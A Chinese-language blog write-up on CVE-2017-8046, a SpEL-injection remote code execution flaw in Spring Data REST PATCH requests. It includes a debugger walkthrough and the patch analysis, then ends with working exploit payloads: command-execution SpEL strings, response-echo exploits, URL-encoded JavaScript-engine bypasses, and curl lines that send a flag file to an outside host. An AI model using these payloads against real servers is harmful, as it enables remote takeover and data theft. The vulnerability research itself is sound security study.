Spring Data Rest RCE(CVE-2017-8046)
又来跟着Mi1k7ea师傅博客学习了:浅析Spring Data Rest之cve-2017-8046
Spring Data Rest
Spring Data REST是基于Spring Data的repository之上,可以把 repository 自动输出为REST资源,目前支持Spring Data JPA、Spring Data MongoDB、Spring Data Neo4j、Spring Data GemFire、Spring Data Cassandra的 repository 自动转换成REST服务。注意是自动。简单点说,Spring Data REST把我们需要编写的大量REST模版接口做了自动化实现。
CVE-2017-8046
CVE-2017-8046: RCE in PATCH requests in Spring Data REST
简单地说,该漏洞就是攻击者通过Spring Data Rest支持的PATCH方法,构造恶意的Json格式数据发送到服务端,导致服务端在解析数据时会执行任意Java代码、解析SpEL表达式,从而引发SpEL注入漏洞、造成RCE。
影响版本:
- Spring Data REST versions 2.5.12, 2.6.7, 3.0 RC3之前的版本
- Spring Boot versions 2.0.0M4 之前的版本
- Spring Data release trains Kay-RC3 之前的版本
有个注意点,请求方法为PATCH,Content-Type要设置为application/json-patch+json才能正常访问。
漏洞分析
在github下载一个漏洞Demo jar包。
本地运行并设置远程调试端口:
java -Xdebug -Xrunjdwp:transport=dt_socket,address=8666,server=y,suspend=n -server -jar spring-data-rest.jar
java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar .\spring-data-rest.jar
基本操作
访问一遍,显示有两个子路径可以访问:
/persons显示已有哪些创建了的用户,而/profile只有一个子目录/profile/persons、其用来配置persons页面的字段属性等信息。
下面正常操作一遍:
- 先创建用户
- GET查看到用户信息
利用PATCH方法的replace操作修改lastName:
漏洞点
本次CVE的漏洞出发点在PATCH请求进行某些操作如replace时的path参数存在SpEL注入风险,Spring Data Rest在解析该参数值时会使用spelExpress解析SpEL表达式而未进行任何的校验。
我们可以简单地以上面的PATCH例子往path中注入一下SpEL表达式,作用是本地弹出计算器,注意payload后面的斜杠/必须带上,但lastName可以随意更换为其他内容:
T(java.lang.Runtime).getRuntime().exec('calc.exe')/lastName
调试分析
刚刚已经开了进行远程调试监听的5005端口,直接用IDEA远程连接即可。
简单说下操作:将jar包解压,在IDEA中创建新项目,再右键项目点击Open Module Settings打开设置,在Modules一栏点击右边的+加号添加jar解压后的目录中的lib目录进来,然后点击Apply和OK;点击Run栏,选择Edit Configurations,点击+加号添加Remote,设置IP和端口号为5005,然后点击Debug,当显示Connected to the target VM, address: ‘127.0.0.1:5005’, transport: ‘socket’时即连接成功。
断点打在哪?
我们前面的Demo示例是通过PATCH方法的replace操作来触发漏洞的,也就是说,我们的操作必然会经过PATCH方法的replace操作类,那么我们找到这个类打断点,程序就必然会经过并停止在该断点,然后我们通过函数调用栈窗口可以反推之前调用哪些类方法,再返回去在关键的地方打断点重新调试即可。
这里我们找到该类在如下路径:
spring-data-rest/BOOT-INF/lib/spring-data-rest-webmvc-2.6.6.RELEASE.jar!/org/springframework/data/rest/webmvc/json/patch/ReplaceOperation.class
在该处打下断点,必然会经过此处,且看到函数调用栈中有个JsonPatchHandler类,该类应该算是处理Json格式的PATCH请求的类:
到JsonPatchHandler类的apply()
和applyPatch()
打下断点,重新调试会发现,JsonPatchHandler.apply()
方法会调用isJsonPatchRequest()
判断请求是否是Json格式的Patch:
跟踪进去会发现会校验请求方法是否为PATCH且Content-Type是否为application/json-patch+json,否则会抛出错误,这就是为什么Content-Type必须设置为该值才能触发的原因:
跟踪往下调试进去applyPatch()
,其后调用了Patch.convert()
:
在Patch.convert()
中从json数组中识别出replace操作:
继续调试进去,会有个初始化Patch操作的构造函数,从这里可以看到前面Demo为啥需要op等3个参数,且最后一个成员变量spelExpression即是用来解析SpEL表达式的变量,它是SpEL注入漏洞的触发根源,这里调用PathToSpEL.pathToExpression()
来解析path参数:
继续跟,这里先调用pathToSpEL()
将path的格式变为SpEL格式:
继续跟进调试,发现其进行一个split()
切分/
的操作,这就解释了为啥Demo的payload中path参数值需要在exp后加上/
,因为它这里必须切分路径,而默认正常情况下是“/lastName
”:
接着是调用pathNodesToSpEL()
,通过调试发现是对/
转换为.
,然后将path前后路径用.
进行拼接:
然后就回到了PathToSpEL.pathToExpression()
接着调试,有个初始化spelExpression类对象,其中expression成员变量值为我们注入的SpEL表达式:
往下调试,会创建一个PATCH对象并初始化,然后调用operation.perform()
执行PATCH指定操作:
跟进去,调用了setValueOnTarget()
,再往后走就是SpEL解析了:
这里我们跟进去看看evaluateValueFromTarget()
,顾名思义,该方法用来计算出SpEL表达式的值,其是调用之前初始化好的spelExpression成员变量来解析SpEL表达式:
然后会到SpelExpression.setValueOnTarget()
,跟进去可以看到调用了spelExpression.setValue(target, value)
:
接着跟下去会看到使用了StandardEvaluationContext
这个不安全的上下文环境:
接着跟到最后就是调用spring框架的setValue
触发SpEL注入了:
补丁分析
我们看下官方补丁的修补方法:
补丁就是在evaluateValueFromTarget()
函数内添加了对path参数值的路径进行合法性校验,若为非法内容则直接抛出错误。
exp构造
通用exp
之前本地的exp是,但是这个只能用于本地环境测试:
T(java.lang.Runtime).getRuntime().exec('calc.exe')/lastName
换一个远程服务的exp就不能上面那样写了,因为没有回显,下面有两种解决办法。
Method1——执行curl带回flag
当然这种情况是目标机子存在curl命令且能够解析反引号执行命令。
T(java.lang.Runtime).getRuntime().exec('curl yourip:port/?c=`cat flag`')/lastName
但是从前面的调试知道,程序会切分/
,因此命令中的/
会被切分导致不能到达预期效果,这时就引入了第二种更方便的方法。
Method2——构造回显exp
情况当然没有那么好,反引号很多时候会无法被正常解析,这时就使用如下的StreamUtils包的copy()
方法实现输入输出流来构造回显exp即可。
T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec('ipconfig').getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())/test
使用JavaScipt引擎
和之前的javacon中的exp类似,这里再演示一遍。
先来本地弹计算器测试:
T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(T(java.lang.Runtime).getRuntime().exec('calc.exe'))/test
Method1——URL编码
前面遇到的情况是通用exp是一样的,即无法在命令中输入/,但我们可以通过URL编码绕过:
URL编码内容为:
java.lang.Runtime.getRuntime().exec('curl http://172.19.81.214:1234/?`whoami`')
exp:
T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(T(java.net.URLDecoder).decode('%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%37%32%2e%31%39%2e%38%31%2e%32%31%34%3a%31%32%33%34%2f%3f%60%77%68%6f%61%6d%69%60%27%29'))/test
可以看到是执行成功了,但是反引号并没有被成功解析成命令执行。
这时用curl -T
参数来将flag带回我们的FTP服务器中:
T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(T(java.net.URLDecoder).decode('%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%75%72%6c%20%2d%54%20%66%6c%61%67%2e%74%78%74%20%66%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%33%2e%31%35%33%27%29'))/test
其中URL编码内容为:
java.lang.Runtime.getRuntime().exec('curl -T flag.txt ftp://192.168.3.153')
Method2——构造回显exp
和通用exp中一样,利用一样的包的copy()
方法实现回显。
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(T(java.lang.Runtime).getRuntime().exec('calc')),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())/test
这个exp只能在Windows本地打开计算器等文件的功能,执行变量其他操作类的命令:
添加个URL编码:
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName('JavaScript').eval(T(java.net.URLDecoder).decode('%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%70%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29')),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())/test
其中URL编码内容为:
java.lang.Runtime.getRuntime().exec("ipconfig").getInputStream()
工具
直接参考Github上的一个项目即可。